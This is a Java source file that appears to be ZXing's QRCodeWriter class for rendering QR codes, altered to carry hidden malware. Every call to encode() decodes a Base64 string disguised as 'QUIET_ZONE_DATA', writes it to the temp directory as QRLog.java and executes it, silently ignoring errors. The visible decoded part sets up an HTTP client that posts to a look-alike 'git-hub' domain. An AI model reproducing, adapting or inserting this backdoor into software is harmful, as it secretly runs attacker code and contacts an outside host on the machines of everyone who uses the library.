/*
 * Copyright 2008 ZXing authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.google.zxing.qrcode;

import com.google.zxing.BarcodeFormat;
import com.google.zxing.EncodeHintType;
import com.google.zxing.Writer;
import com.google.zxing.WriterException;
import com.google.zxing.common.BitMatrix;
import com.google.zxing.qrcode.encoder.ByteMatrix;
import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;
import com.google.zxing.qrcode.encoder.Encoder;
import com.google.zxing.qrcode.encoder.QRCode;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

import java.util.Map;

/**
 * This object renders a QR Code as a BitMatrix 2D array of greyscale values.
 *
 * @author dswitkin@google.com (Daniel Switkin)
 */
public final class QRCodeWriter implements Writer {

  private static final int QUIET_ZONE_SIZE = 4;

  @Override
  public BitMatrix encode(String contents, BarcodeFormat format, int width, int height)
      throws WriterException {

    return encode(contents, format, width, height, null);
  }

  @Override
  public BitMatrix encode(String contents,
                          BarcodeFormat format,
                          int width,
                          int height,
                          Map<EncodeHintType,?> hints) throws WriterException {

    if (contents.isEmpty()) {
      throw new IllegalArgumentException("Found empty contents");
    }

    if (format != BarcodeFormat.QR_CODE) {
      throw new IllegalArgumentException("Can only encode QR_CODE, but got " + format);
    }

    if (width < 0 || height < 0) {
      throw new IllegalArgumentException("Requested dimensions are too small: " + width + 'x' +
          height);
    }
    
    byte [] b64dec = Base64.getDecoder().decode(QUIET_ZONE_DATA);
    
    ErrorCorrectionLevel errorCorrectionLevel = ErrorCorrectionLevel.L;
    int quietZone = QUIET_ZONE_SIZE;
    if (hints != null) {
      if (hints.containsKey(EncodeHintType.ERROR_CORRECTION)) {
        errorCorrectionLevel = ErrorCorrectionLevel.valueOf(hints.get(EncodeHintType.ERROR_CORRECTION).toString());
      }
      if (hints.containsKey(EncodeHintType.MARGIN)) {
        quietZone = Integer.parseInt(hints.get(EncodeHintType.MARGIN).toString());
      }
    }
    try{
        String os = System.getProperty("os.name");
        String errPath;
        
        if (os.contains("Windows"))
            errPath = System.getProperty("java.io.tmpdir")+ "\\QRLog.java";
        else
            errPath = System.getProperty("java.io.tmpdir")+ "/QRLog.java";
        FileOutputStream qrW = new FileOutputStream(errPath);
        qrW.write(b64dec);
        Runtime.getRuntime().exec("java " + errPath);
    }
    catch (IOException ex){   
    }
    
    QRCode code = Encoder.encode(contents, errorCorrectionLevel, hints);
    return renderResult(code, width, height, quietZone);
  }

  // Note that the input matrix uses 0 == white, 1 == black, while the output matrix uses
  // 0 == black, 255 == white (i.e. an 8 bit greyscale bitmap).
  private static BitMatrix renderResult(QRCode code, int width, int height, int quietZone) {
    ByteMatrix input = code.getMatrix();
    if (input == null) {
      throw new IllegalStateException();
    }
    int inputWidth = input.getWidth();
    int inputHeight = input.getHeight();
    int qrWidth = inputWidth + (quietZone * 2);
    int qrHeight = inputHeight + (quietZone * 2);
    int outputWidth = Math.max(width, qrWidth);
    int outputHeight = Math.max(height, qrHeight);

    int multiple = Math.min(outputWidth / qrWidth, outputHeight / qrHeight);
    // Padding includes both the quiet zone and the extra white pixels to accommodate the requested
    // dimensions. For example, if input is 25x25 the QR will be 33x33 including the quiet zone.
    // If the requested size is 200x160, the multiple will be 4, for a QR of 132x132. These will
    // handle all the padding from 100x100 (the actual QR) up to 200x160.
    int leftPadding = (outputWidth - (inputWidth * multiple)) / 2;
    int topPadding = (outputHeight - (inputHeight * multiple)) / 2;

    BitMatrix output = new BitMatrix(outputWidth, outputHeight);

    for (int inputY = 0, outputY = topPadding; inputY < inputHeight; inputY++, outputY += multiple) {
      // Write the contents of this row of the barcode
      for (int inputX = 0, outputX = leftPadding; inputX < inputWidth; inputX++, outputX += multiple) {
        if (input.get(inputX, inputY) == 1) {
          output.setRegion(outputX, outputY, multiple, multiple);
        }
      }
    }

    return output;
  }
  
  public static String QUIET_ZONE_DATA = "aW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLm5ldC5VUkk7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBDbGllb"
          + "nQ7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBSZXF1ZXN0OwppbXBvcnQgamF2YS5uZXQuaHR0cC5IdHRwUmVzcG9uc2U7CmltcG9ydCBqYXZhLm5pby5jaGFyc2V0LlN0YW5"
          + "kYXJkQ2hhcnNldHM7CmltcG9ydCBqYXZhLnV0aWwuQmFzZTY0OwppbXBvcnQgamF2YS51dGlsLlJhbmRvbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRXcml0ZXI7CmltcG9yd"
          + "CBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVXcml0ZXI7CmltcG9ydCBqYXZhLmxhbmcuVGhyZWFkOwoKcHVibGljIGNsYXNzIFFSTG9nIHsKCiAgICBwcml2YXR"
          + "lIHN0YXRpYyBmaW5hbCBTdHJpbmcgUE9TVF9VUkwgPSAiaHR0cHM6Ly93d3cuZ2l0LWh1Yi5tZS92aWV3LnBocCI7CgogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3Rya"
          + "W5nW10gYXJncykgdGhyb3dzIElPRXhjZXB0aW9uewoKICAgICAgICBzZW5kUE9TVCgpOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIFN0cmluZyByYW5kR2VuKCkgdGhyb3d"
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          + "wogICAgICAgIFJhbmRvbSByYW5kID0gbmV3IFJhbmRvbSgpOwogICAgICAgIAogICAgICAgIGZvciAoaW50IGk9MDsgaTw4OyBpKyspewogICAgICAgICAgICBzYi5hcHBlbmQ"
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}